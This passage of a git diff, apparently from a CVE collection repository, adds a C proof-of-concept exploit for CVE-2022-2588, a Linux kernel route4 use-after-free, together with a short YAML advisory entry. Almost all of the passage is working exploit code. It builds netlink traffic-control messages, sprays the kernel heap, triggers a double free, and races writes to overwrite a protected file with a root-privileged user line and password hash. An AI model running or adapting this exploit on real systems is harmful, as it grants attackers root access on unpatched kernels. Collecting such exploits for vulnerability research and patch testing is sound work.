setup_namespace() { + int real_uid = getuid(); + int real_gid = getgid(); + + if (unshare(CLONE_NEWUSER) != 0) { + perror("[-] unshare(CLONE_NEWUSER)"); + exit(EXIT_FAILURE); + } + + if (unshare(CLONE_NEWNET) != 0) { + perror("[-] unshare(CLONE_NEWUSER)"); + exit(EXIT_FAILURE); + } + + if (!write_file("/proc/self/setgroups", "deny")) { + perror("[-] write_file(/proc/self/set_groups)"); + exit(EXIT_FAILURE); + } + if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)) { + perror("[-] write_file(/proc/self/uid_map)"); + exit(EXIT_FAILURE); + } + if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) { + perror("[-] write_file(/proc/self/gid_map)"); + exit(EXIT_FAILURE); + } +} + +#define NLMSG_TAIL(nmsg) \ + ((struct rtattr *)(((void *)(nmsg)) + NLMSG_ALIGN((nmsg)->nlmsg_len))) + +int addattr(char *attr, int type, void *data, int len) { + struct rtattr *rta = (struct rtattr *)attr; + + rta->rta_type = type; + rta->rta_len = RTA_LENGTH(len); + if (len) { + memcpy(RTA_DATA(attr), data, len); + } + + return RTA_LENGTH(len); +} + +int addattr_l(struct nlmsghdr *n, int maxlen, int type, const void *data, + int alen) { + int len = RTA_LENGTH(alen); + struct rtattr *rta; + + if (NLMSG_ALIGN(n->nlmsg_len) + RTA_ALIGN(len) > maxlen) { + fprintf(stderr, "addattr_l ERROR: message exceeded bound of %d\n", maxlen); + return -1; + } + rta = NLMSG_TAIL(n); + rta->rta_type = type; + rta->rta_len = len; + if (alen) + memcpy(RTA_DATA(rta), data, alen); + n->nlmsg_len = NLMSG_ALIGN(n->nlmsg_len) + RTA_ALIGN(len); + return 0; +} + +struct rtattr *addattr_nest(struct nlmsghdr *n, int maxlen, int type) { + struct rtattr *nest = NLMSG_TAIL(n); + + addattr_l(n, maxlen, type, NULL, 0); + return nest; +} + +int addattr_nest_end(struct nlmsghdr *n, struct rtattr *nest) { + nest->rta_len = (void *)NLMSG_TAIL(n) - (void *)nest; + return n->nlmsg_len; +} + +int add_qdisc(int fd) { + char *start = malloc(0x1000); + memset(start, 0, 0x1000); + struct nlmsghdr *msg = (struct nlmsghdr *)start; + + // new qdisc + msg->nlmsg_len = NLMSG_LENGTH(sizeof(struct tcmsg)); + msg->nlmsg_flags = NLM_F_REQUEST | NLM_F_EXCL | NLM_F_CREATE; + msg->nlmsg_type = RTM_NEWQDISC; + struct tcmsg *t = (struct tcmsg *)(start + sizeof(struct nlmsghdr)); + // set local + t->tcm_ifindex = 1; + t->tcm_family = AF_UNSPEC; + t->tcm_parent = TC_H_ROOT; + // prio, protocol + u_int32_t prio = 1; + u_int32_t protocol = 1; + t->tcm_info = TC_H_MAKE(prio << 16, protocol); + + addattr_l(msg, 0x1000, TCA_KIND, "sfq", 4); + + // packing +#ifdef DEBUG + DumpHex(msg, msg->nlmsg_len); +#endif + + struct iovec iov = {.iov_base = msg, .iov_len = msg->nlmsg_len}; + struct sockaddr_nl nladdr = {.nl_family = AF_NETLINK}; + struct msghdr msgh = { + .msg_name = &nladdr, + .msg_namelen = sizeof(nladdr), + .msg_iov = &iov, + .msg_iovlen = 1, + }; + return sendmsg(fd, &msgh, 0); +} + +int add_tc_(int fd, u_int32_t from, u_int32_t to, u_int32_t handle, + u_int16_t flags) { + char *start = malloc(0x2000); + memset(start, 0, 0x2000); + struct nlmsghdr *msg = (struct nlmsghdr *)start; + + // new filter + msg = msg + msg->nlmsg_len; + msg->nlmsg_len = NLMSG_LENGTH(sizeof(struct tcmsg)); + msg->nlmsg_flags = NLM_F_REQUEST | flags; + msg->nlmsg_type = RTM_NEWTFILTER; + struct tcmsg *t = (struct tcmsg *)(start + sizeof(struct nlmsghdr)); + + // prio, protocol + u_int32_t prio = 1; + u_int32_t protocol = 1; + t->tcm_info = TC_H_MAKE(prio << 16, protocol); + t->tcm_ifindex = 1; + t->tcm_family = AF_UNSPEC; + t->tcm_handle = handle; + + addattr_l(msg, 0x1000, TCA_KIND, "route", 6); + struct rtattr *tail = addattr_nest(msg, 0x1000, TCA_OPTIONS); + addattr_l(msg, 0x1000, TCA_ROUTE4_FROM, &from, 4); + addattr_l(msg, 0x1000, TCA_ROUTE4_TO, &to, 4); + addattr_nest_end(msg, tail); + + // packing + struct iovec iov = {.iov_base = msg, .iov_len = msg->nlmsg_len}; + struct sockaddr_nl nladdr = {.nl_family = AF_NETLINK}; + struct msghdr msgh = { + .msg_name = &nladdr, + .msg_namelen = sizeof(nladdr), + .msg_iov = &iov, + .msg_iovlen = 1, + }; + + sendmsg(fd, &msgh, 0); + + free(start); + return 1; +} + +void add_tc(int sockfd, uint32_t handle, uint16_t flag) { + add_tc_(sockfd, 0, handle, (handle << 8) + handle, flag); +} + +uint32_t calc_handle(uint32_t from, uint32_t to) { + uint32_t handle = to; + + assert(from <= 0xff && to <= 0xff); + handle |= from << 16; + + if (((handle & 0x7f00) | handle) != handle) + return 0; + + if (handle == 0 || (handle & 0x8000)) + return 0; + return handle; +} + +void *delete_tc_(int sockfd, u_int32_t handle) { + char *start = malloc(0x4000); + memset(start, 0, 0x4000); + struct nlmsghdr *msg = (struct nlmsghdr *)start; + + // new filter + msg = msg + msg->nlmsg_len; + msg->nlmsg_len = NLMSG_LENGTH(sizeof(struct tcmsg)); + msg->nlmsg_flags = NLM_F_REQUEST | NLM_F_ECHO; + msg->nlmsg_type = RTM_DELTFILTER; + struct tcmsg *t = (struct tcmsg *)(start + sizeof(struct nlmsghdr)); + + // prio, protocol + u_int32_t prio = 1; + u_int32_t protocol = 1; + t->tcm_info = TC_H_MAKE(prio << 16, protocol); + t->tcm_ifindex = 1; + t->tcm_family = AF_UNSPEC; + t->tcm_handle = handle; + + addattr_l(msg, 0x1000, TCA_KIND, "route", 6); + struct rtattr *tail = addattr_nest(msg, 0x1000, TCA_OPTIONS); + addattr_nest_end(msg, tail); + + // packing + struct iovec iov = {.iov_base = msg, .iov_len = msg->nlmsg_len}; + struct sockaddr_nl nladdr = {.nl_family = AF_NETLINK}; + struct msghdr msgh = { + .msg_name = &nladdr, + .msg_namelen = sizeof(nladdr), + .msg_iov = &iov, + .msg_iovlen = 1, + }; + + sendmsg(sockfd, &msgh, 0); + memset(start, 0, 0x4000); + iov.iov_len = 0x4000; + iov.iov_base = start; + recvmsg(sockfd, &msgh, 0); + + if (msgh.msg_namelen != sizeof(nladdr)) { + printf("size of sender address is wrong\n"); + } + return start; +} + +void delete_tc(int sockfd, uint32_t handle) { + delete_tc_(sockfd, ((handle) << 8) + (handle)); +} + +// basic for spray +int add_tc_basic(int fd, uint32_t handle, void *spray_data, size_t spray_len, + int spray_count) { + assert(spray_len * spray_count < 0x3000); + char *start = malloc(0x4000); + memset(start, 0, 0x4000); + struct nlmsghdr *msg = (struct nlmsghdr *)start; + + // new filter + msg = msg + msg->nlmsg_len; + msg->nlmsg_len = NLMSG_LENGTH(sizeof(struct tcmsg)); + msg->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE; // | flags; + msg->nlmsg_type = RTM_NEWTFILTER; + struct tcmsg *t = (struct tcmsg *)(start + sizeof(struct nlmsghdr)); + + // prio, protocol + u_int32_t prio = 1; + u_int32_t protocol = 1; + t->tcm_info = TC_H_MAKE(prio << 16, protocol); + t->tcm_ifindex = 1; + t->tcm_family = AF_UNSPEC; + t->tcm_handle = handle; + // t->tcm_parent = TC_H_ROOT; + + addattr_l(msg, 0x4000, TCA_KIND, "basic", 6); + struct rtattr *tail = addattr_nest(msg, 0x4000, TCA_OPTIONS); + struct rtattr *ema_tail = addattr_nest(msg, 0x4000, TCA_BASIC_EMATCHES); + struct tcf_ematch_tree_hdr tree_hdr = {.nmatches = spray_count / 2, + .progid = 0}; + + addattr_l(msg, 0x4000, TCA_EMATCH_TREE_HDR, &tree_hdr, sizeof(tree_hdr)); + struct rtattr *rt_match_tail = + addattr_nest(msg, 0x4000, TCA_EMATCH_TREE_LIST); + + char *data = malloc(0x3000); + for (int i = 0; i < tree_hdr.nmatches; i++) { + char *current; + memset(data, 0, 0x3000); + struct tcf_ematch_hdr *hdr = (struct tcf_ematch_hdr *)data; + hdr->kind = TCF_EM_META; + hdr->flags = TCF_EM_REL_AND; + + current = data + sizeof(*hdr); + + struct tcf_meta_hdr meta_hdr = { + .left.kind = TCF_META_TYPE_VAR << 12 | TCF_META_ID_DEV, + .right.kind = TCF_META_TYPE_VAR << 12 | TCF_META_ID_DEV, + }; + + current += addattr(current, TCA_EM_META_HDR, &meta_hdr, sizeof(hdr)); + current += addattr(current, TCA_EM_META_LVALUE, spray_data, spray_len); + current += addattr(current, TCA_EM_META_RVALUE, spray_data, spray_len); + + addattr_l(msg, 0x4000, i + 1, data, current - data); + } + + addattr_nest_end(msg, rt_match_tail); + addattr_nest_end(msg, ema_tail); + addattr_nest_end(msg, tail); + + // packing + struct iovec iov = {.iov_base = msg, .iov_len = msg->nlmsg_len}; + struct sockaddr_nl nladdr = {.nl_family = AF_NETLINK}; + struct msghdr msgh = { + .msg_name = &nladdr, + .msg_namelen = sizeof(nladdr), + .msg_iov = &iov, + .msg_iovlen = 1, + }; + sendmsg(fd, &msgh, 0); + free(data); + free(start); + return 1; +} + +void *delete_tc_basic(int sockfd, u_int32_t handle) { + char *start = malloc(0x4000); + memset(start, 0, 0x4000); + struct nlmsghdr *msg = (struct nlmsghdr *)start; + + // new filter + msg = msg + msg->nlmsg_len; + msg->nlmsg_len = NLMSG_LENGTH(sizeof(struct tcmsg)); + msg->nlmsg_flags = NLM_F_REQUEST | NLM_F_ECHO; + msg->nlmsg_type = RTM_DELTFILTER; + struct tcmsg *t = (struct tcmsg *)(start + sizeof(struct nlmsghdr)); + + // prio, protocol + u_int32_t prio = 1; + u_int32_t protocol = 1; + t->tcm_info = TC_H_MAKE(prio << 16, protocol); + t->tcm_ifindex = 1; + t->tcm_family = AF_UNSPEC; + t->tcm_handle = handle; + // t->tcm_parent = TC_H_ROOT; + + addattr_l(msg, 0x1000, TCA_KIND, "basic", 6); + struct rtattr *tail = addattr_nest(msg, 0x1000, TCA_OPTIONS); + addattr_nest_end(msg, tail); + + // packing + struct iovec iov = {.iov_base = msg, .iov_len = msg->nlmsg_len}; + struct sockaddr_nl nladdr = {.nl_family = AF_NETLINK}; + struct msghdr msgh = { + .msg_name = &nladdr, + .msg_namelen = sizeof(nladdr), + .msg_iov = &iov, + .msg_iovlen = 1, + }; + + sendmsg(sockfd, &msgh, 0); + memset(start, 0, 0x4000); + iov.iov_len = 0x4000; + iov.iov_base = start; + recvmsg(sockfd, &msgh, 0); + + if (msgh.msg_namelen != sizeof(nladdr)) { + printf("size of sender address is wrong\n"); + } + + return start; +} + +void *slow_write() { + printf("start slow write\n"); + clock_t start, end; + int fd = open("./uaf", 1); + + if (fd < 0) { + perror("error open uaf file"); + exit(-1); + } + + unsigned long int addr = 0x30000000; + int offset; + for (offset = 0; offset < 0x80000 / 20; offset++) { + void *r = mmap((void *)(addr + offset * 0x1000), 0x1000, + PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0); + if (r < 0) { + printf("allocate failed at 0x%x\n", offset); + } + } + + assert(offset > 0); + + void *mem = (void *)(addr); + memcpy(mem, "hhhhh", 5); + + struct iovec iov[20]; + for (int i = 0; i < 20; i++) { + iov[i].iov_base = mem; + iov[i].iov_len = offset * 0x1000; + } + + run_write = 1; + start = clock(); + // 2GB max + if (writev(fd, iov, 20) < 0) { + perror("slow write"); + } + end = clock(); + double spent = (double)(end - start) / CLOCKS_PER_SEC; + printf("write done, spent %f s\n", spent); + run_write = 0; +} + +void *write_cmd() { + // user:$1$user$k8sntSoh7jhsc6lwspjsU.:0:0:/root/root:/bin/bash + char data[1024] = + "user:$1$user$k8sntSoh7jhsc6lwspjsU.:0:0:/root/root:/bin/bash"; + // struct iovec iov = {.iov_base = data, .iov_len = strlen(data)}; + struct iovec iov = {.iov_base = content, .iov_len = strlen(content)}; + + while (!run_write) { + } + run_spray = 1; + if (writev(overlap_a, &iov, 1) < 0) { + printf("failed to write\n"); + } + printf("should be after the slow write\n"); +} + +void pre_exploit() { + adjust_rlimit(); + use_temporary_dir(); + setup_namespace(); +} + +void exploit() { + char buf[2 * PAGE_SIZE] = {}; + char msg[0x10] = {}; + char *spray; + int cc; + struct rlimit old_lim, lim, new_lim; + + // Get old limits + if (getrlimit(RLIMIT_NOFILE, &old_lim) == 0) + printf("Old limits -> soft limit= %ld \t" + " hard limit= %ld \n", + old_lim.rlim_cur, old_lim.rlim_max); + pin_on_cpu(0); + printf("starting exploit, num of cores: %d\n", cpu_cores); + + sockfd = socket(PF_NETLINK, SOCK_RAW, 0); + assert(sockfd != -1); + add_qdisc(sockfd); + + // wait for parent + if (read(pipe_child[0], msg, 2) != 2) { + err(1, "read from parent"); + } + // allocate the vulnerable object + add_tc_(sockfd, 0, 0, 0, NLM_F_EXCL | NLM_F_CREATE); + + // ask parent to keep spraying + if (write(pipe_parent[1], "OK", 2) != 2) { + err(1, "write to child"); + } + if (read(pipe_child[0], msg, 2) != 2) { + err(1, "read from parent"); + } + + // free the object, to free the slab + add_tc_(sockfd, 0x11, 0x12, 0, NLM_F_CREATE); + + // wait for the vulnerable object being freed + usleep(500 * 1000); + printf("freed the filter object\n"); + // sync + if (write(pipe_parent[1], "OK", 2) != 2) { + err(1, "write to child"); + } + if (read(pipe_child[0], msg, 2) != 2) { + err(1, "read from parent"); + } + + usleep(1000 * 1000); + + for (int i = 0; i < spray_num_1; i++) { + pin_on_cpu(i % cpu_cores); + fds[i] = open("./data2", 1); + assert(fds[i] > 0); + } + + // double free route4, which will free the file + add_tc_(sockfd, 0x11, 0x13, 0, NLM_F_CREATE); + usleep(1000 * 100); + + // should not sleep too long, otherwise file might be claimed by others + printf("double free done\n"); + printf("spraying files\n"); + + // the following is to figure out which file is freed + for (int i = 0; i < spray_num_2; i++) { + pin_on_cpu(i % cpu_cores); + fd_2[i] = open("./uaf", 1); + assert(fd_2[i] > 0); + for (int j = 0; j < spray_num_1; j++) { + if (syscall(__NR_kcmp, getpid(), getpid(), KCMP_FILE, fds[j], fd_2[i]) == + 0) { + printf("found overlap, id : %d, %d\n", i, j); + overlap_a = fds[j]; + overlap_b = fd_2[i]; + + pthread_t pid, pid2; + pthread_create(&pid, NULL, slow_write, NULL); + pthread_create(&pid2, NULL, write_cmd, NULL); + + while (!run_spray) { + } + + close(overlap_a); + close(overlap_b); + printf("closed overlap\n"); + + usleep(1000 * 100); + + int spray_num = 4096; + write(pipe_file_spray[0][1], &spray_num, sizeof(int)); + if (read(pipe_file_spray[1][0], &msg, 2) != 2) { + err(1, "read from file spray"); + } + overlapped = true; + } + } + if (overlapped) + break; + } + + sleep(3); + while (run_write) { + sleep(1); + } + + if (!overlapped) { + printf("no overlap found :(...\n"); + write(pipe_main[1], "\xff", 1); + } else { + int xx = open(target, 0); + char buf[0x100] = {}; + // check if user in the passwd + read(xx, buf, 0x30); + if (!strncmp(buf, "user", 4)) { + write(pipe_main[1], "\x00", 1); + } else { + printf("not successful : %s\n", buf); + write(pipe_main[1], "\xff", 1); + } + } + while (1) { + sleep(1000); + } +} + +void post_exploit() {} + +// this poc assume we have a heap address leaked +int run_exp() { + if (pipe(pipe_parent) == -1) { + err(1, "fail to create pipes\n"); + } + + if (pipe(pipe_child) == -1) { + err(1, "fail to create pipes\n"); + } + + if (pipe(pipe_defrag) == -1) { + err(1, "fail to create pipes\n"); + } + + if (pipe(pipe_file_spray[0]) == -1) { + err(1, "fail to create pipes\n"); + } + + if (pipe(pipe_file_spray[1]) == -1) { + err(1, "fail to create pipes\n"); + } + + cpu_cores = sysconf(_SC_NPROCESSORS_ONLN); + + if (fork() == 0) { + // thread for spraying file we want to overwrite + adjust_rlimit(); + int spray_num = 0; + if (read(pipe_file_spray[0][0], &spray_num, sizeof(int)) < sizeof(int)) { + err(1, "read file spray"); + } + + printf("got cmd, start spraying %s\n", target); + spray_num = 4096; + if (fork() == 0) { + for (int i = 0; i < spray_num; i++) { + pin_on_cpu(i % cpu_cores); + open(target, 0); + } + while (1) { + sleep(10000); + } + } + + for (int i = 0; i < spray_num; i++) { + pin_on_cpu(i % cpu_cores); + open(target, 0); + } + printf("spray done\n"); + write(pipe_file_spray[1][1], "OK", 2); + while (1) { + sleep(10000); + } + exit(0); + } + + if (fork() == 0) { + pin_on_cpu(0); + pre_exploit(); + exploit(); + post_exploit(); + } else { + sleep(2); + if (fork() == 0) { + // do the defragmentation to exhaust all file slabs + // for cross cache + adjust_rlimit(); + for (int i = 0; i < 10000; i++) { + pin_on_cpu(i % cpu_cores); + open(target, 0); + } + printf("defrag done\n"); + if (write(pipe_defrag[1], "OK", 2) != 2) { + err(1, "failed write defrag"); + } + while (1) { + sleep(1000); + } + } else { + // memory spray thread + setup_namespace(); + pin_on_cpu(0); + int sprayfd = socket(PF_NETLINK, SOCK_RAW, 0); + assert(sprayfd != -1); + add_qdisc(sprayfd); + + char msg[0x10] = {}; + char payload[256] = {}; + memset(payload + 0x10, 'A', 256 - 0x10); + + if (read(pipe_defrag[0], msg, 2) != 2) { + err(1, "failed read defrag"); + } + + // if the exploit keeps failing, please tune the middle and end + int middle = 38; + int end = middle + 40; + + // preparing for cross cache + for (int i = 0; i < middle; i++) { + add_tc_basic(sprayfd, i + 1, payload, 193, 32); + } + + add_tc_basic(sprayfd, middle + 1, payload, 193, 32); + add_tc_basic(sprayfd, middle + 2, payload, 193, 32); + add_tc_basic(sprayfd, middle + 3, payload, 193, 32); + if (write(pipe_child[1], "OK", 2) != 2) { + err(1, "write to parent\n"); + } + // allocate route4 + if (read(pipe_parent[0], msg, 2) != 2) { + err(1, "read from parent"); + } + // add_tc_basic(sprayfd, middle+2, payload, 129, 32); + + // prepare another part for cross cache + for (int i = middle + 2; i < end; i++) { + add_tc_basic(sprayfd, i + 1, payload, 193, 32); + } + printf("spray 256 done\n"); + + for (int i = 1; i < end - 24; i++) { + // prevent double free of 192 + // and being reclaimed by others + if (i == middle || i == middle + 1) + continue; + delete_tc_basic(sprayfd, i + 1); + } + if (write(pipe_child[1], "OK", 2) != 2) { + err(1, "write to parent\n"); + } + // free route4 here + if (read(pipe_parent[0], msg, 2) != 2) { + err(1, "read from parent"); + } + // if (cpu_cores == 1) sleep(1); + delete_tc_basic(sprayfd, middle + 2); + delete_tc_basic(sprayfd, middle + 3); + delete_tc_basic(sprayfd, 1); + for (int i = middle + 2; i < end; i++) { + delete_tc_basic(sprayfd, i + 1); + } + + printf("256 freed done\n"); + + if (write(pipe_child[1], "OK", 2) != 2) { + err(1, "write to parent\n"); + } + while (1) { + sleep(1000); + } + } + } +} + +int main(int argc, char **argv) { + global = (char *)mmap(NULL, 0x2000, PROT_READ | PROT_WRITE | PROT_EXEC, + MAP_SHARED | MAP_ANON, -1, 0); + memset(global, 0, 0x2000); + + self_path = global; + snprintf(self_path, 0x100, "%s/%s", get_current_dir_name(), argv[0]); + printf("self path %s\n", self_path); + + int fd = open(target, 0); + content = (char *)(global + 0x100); + strcpy(content, overwrite); + read(fd, content + strlen(overwrite), 0x1000); + close(fd); + + assert(pipe(pipe_main) == 0); + + printf("prepare done\n"); + + if (fork() == 0) { + run_exp(); + while (1) { + sleep(10000); + } + } + + char data; + read(pipe_main[0], &data, 1); + if (data == 0) { + printf("succeed\n"); + } else { + printf("failed\n"); + } +} \ No newline at end of file diff --git a/cve/linux-kernel/2022/yaml/CVE-2022-2588.yaml b/cve/linux-kernel/2022/yaml/CVE-2022-2588.yaml new file mode 100644 index 00000000..d5584e0f --- /dev/null +++ b/cve/linux-kernel/2022/yaml/CVE-2022-2588.yaml @@ -0,0 +1,20 @@ +id: CVE-2022-2588 +source: https://github.com/Markakd/CVE-2022-2588 +info: + name: Linux kernel是美国Linux基金会的开源操作系统Linux所使用的内核。 + severity: high + description: | + A use-after-free flaw was found in route4_change in the net/sched/cls_route.c filter implementation in the Linux kernel. This flaw allows a local user to crash the system and possibly lead to a local privilege escalation problem. + scope-of-influence: + v2.6.12-rc2<= Linux kernel <=v5.19 + reference: + - https://access.redhat.com/security/cve/cve-2022-2588 + - https://ubuntu.com/security/CVE-2022-2588 + classification: + cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H + cvss-score: 7.8 + cve-id: CVE-2022-2588 + cwe-id: CWE-416 + cnvd-id: + kve-id: + tags: UAF,拒绝服务,权限提升,cve2022 \ No newline at end of file diff --git a/vulnerability_list.yaml b/vulnerability_list.yaml index e18965ad..deda6b28 100644 --- a/vulnerability_list.yaml +++ b/vulnerability_list.yaml @@ -10,6 +10,7 @@ cve: - CVE-2022-0185 - CVE-2022-24122 - CVE-2022-0492 + - CVE-2022-2588 sudo: - CVE-2021-3156 cnvd: -- Gitee